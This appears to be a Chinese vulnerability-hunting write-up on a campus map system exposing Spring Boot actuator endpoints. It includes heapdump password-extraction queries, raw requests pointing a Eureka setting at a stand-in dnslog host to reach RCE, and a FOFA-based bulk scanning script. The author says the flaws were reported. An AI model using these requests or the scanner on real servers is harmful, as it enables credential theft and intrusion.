一、前言

在fofa上闲逛的时候发现这个系统,其实之前也碰到过这个系统,当时可能觉得没什么漏洞点就没有管,正好闲着没事又碰到了这个系统,然后就拿过来简单的测试了一下!

二、漏洞挖掘

1、信息收集

由于我是在fofa上发现的这个系统,所以也谈不上什么信息收集,我就直接贴了fofa搜索语法

1
app="校园地图服务系统"

image-20220228174423400

2、漏洞挖掘

(1)主页就是一个简单的地图界面

image-20220228201042906

(2)使用dirsearch浅扫一下目录吧,结果还真扫出点东西

image-20220228180017513

(3)/actuator/env这不是springboot未授权么,后面测试了几个同样的站,都是未授权,这不让我掏上了么。(高兴归高兴,但是貌似存在漏洞的只有五六个站)

3、springboot 未授权

(1)直接访问/env目录,拿到数据库信息

image-20220228180657631

(2)访问/heapdump目录下载网站的堆转储文件

image-20220228180803955

(3)使用Eclipse Memory Analyzer工具分析,会泄露站点内存信息

1
2
3
4
5
利用该工具的OQL查询功能,查询password关键字得到数据库连接密码
查询语句如下:
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

image-20220228181708068

既然/env目录可以访问,那RCE肯定少不了

4、spring boot RCE

1、访问 http://xxx.xxx.xxx/actuator/env 并抓包,修改数据包为

1
2
3
4
5
6
POST /openapi/actuator/env HTTP/1.1
Host: IP
Content-Type: application/json
Content-Length: 85

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your.dnslog.cn"}

image-20220228184011066

2、刷新配置,修改数据包为

1
2
3
4
POST /openapi/actuator/refresh HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Content-Type: application/json

image-20220228183854582

发送数据包后dnslog收到响应image-20220228183823777

3、再次访问/env目录可以发现我们的dnslog地址已经写入

image-20220228184147871

三、批量脚本

批量脚本是结合fofa爬取IP,再利用poc进行漏洞验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import base64
from lxml import etree
import time
search_data='"校园地图服务系统"'

headers={
'cookie':'fofa.cookie',
}
for Page_number in range(1,3):
url='https://fofa.info/result?page='+str(Page_number)+'&qbase64='
search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
urls=url+search_data_bs
#print(urls)
try:
print('正在爬取第' + str(Page_number) + '页')
result=requests.get(urls,headers=headers).content.decode('utf-8')
#print(result)
soup = etree.HTML(result)
ip_data=soup.xpath('//a[@target="_blank"]/@href')
ipdata='\n'.join(ip_data)
print(ip_data)
with open(r'ip.txt', 'a+') as f:
f.write(ipdata+'\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass


payload='/openapi/actuator/env'
for ip in open('ip.txt'):
ip=ip.replace('\n','')
new_url=ip+payload
#print(new_url)
try:
result=requests.get(new_url).content.decode('utf-8')
code=requests.get(new_url).status_code
print("check_ip->"+ip)
if 'activeProfiles' in result and code==200:
print(('\033[31m存在漏洞的URL->'),new_url)
print('\033[0m')
with open(r'result.txt','a+') as f:
f.write(ip+'\n')
f.close()
time.sleep(0.5)
except Exception as e:
pass

image-20220228193839947

四、后记

这次其实是一个比较简单的案例,可能是其他师傅没有去测这个系统,正好我运气不错碰到了,其实很多时候许多师傅看到这样的系统就觉得没必要去测(我之前碰到的时候也是这样想的)。所以我们在漏洞挖掘过程中还是要考虑到各种漏洞存在的可能。

上述漏洞已全部上报教育行业漏洞报告平台,如果上述有写的不对的地方,还请各位师傅多多包涵。